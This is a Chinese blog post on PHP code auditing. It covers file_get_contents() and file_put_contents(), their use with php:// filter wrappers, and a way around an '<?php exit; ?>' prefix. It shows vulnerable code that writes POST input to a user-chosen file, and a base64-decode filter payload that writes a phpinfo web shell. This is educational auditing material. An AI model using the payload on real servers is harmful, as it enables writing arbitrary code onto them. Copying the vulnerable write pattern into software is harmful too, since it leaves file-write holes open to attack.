php代码审计-file_get_contents()&file_put_contents()

4 篇文章 0 订阅
本文介绍了PHP中的file_get_contents()和file_put_contents()函数,讨论了它们的用法,包括读取本地文件、URL及伪协议的使用。还提到了如何利用file_put_contents()绕过exit()限制,通过伪协议过滤实现代码写入。
摘要由CSDN通过智能技术生成

file_get_contents()

https://www.php.net/function.file-get-contents

只需要了解filename即可

  • filename可以是简单的一个文件path,相对路径或者绝对路径
<?php
// <= PHP 5
$file = file_get_contents('./people.txt', true);
// > PHP 5
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>

很显然它的返回值是读取文件的内容

  • filename也可以是一个url

如:

  • filename也可以是一个伪协议形式的:

如:

echo file_get_contents('php://input');

或者

echo file_get_contents('php://filter/read=convert.base64-encode/resource=test.txt');

file_put_contents()

直接看使用实例:

  1. 直接向文件写入内容(filename为文件路径)
<?php
$file = 'people.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new person to the file
$current .= "John Smith\n";
// Write the contents back to the file
file_put_contents($file, $current);
?>
  1. 和file_get_contents()类似的,file_put_contents()的filename参数也可以用PHP伪协议来修饰,以控制写入文件内容的格式等

eg1:

file_put_contents('php://filter/write=convert.base64-encode/resource=tmp.php',"123456");

然后tmp.php里面

其中 MTIzNDU2=base64_encode(“123456”)

eg2:

<?php 
	file_put_contents('php://filter/write=convert.base64-decode/resource=tmp.php',"MTIzNDU2");
?>

绕过死亡exit()

如下代码:

$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了
这里就可以利用file_put_contents()filename参数可以用伪协议过滤的特性:

比如可以传入参数:

filename=php://filter/write=convert.base64-decode/resource=tmp.php&txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==
//PD9waHAgcGhwaW5mbygpOyA/Pg== 是<?php phpinfo(); ?>的base64

访问tmp.php

原理可以参考 https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这篇文章里面还有一些别的姿势也可以参考

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值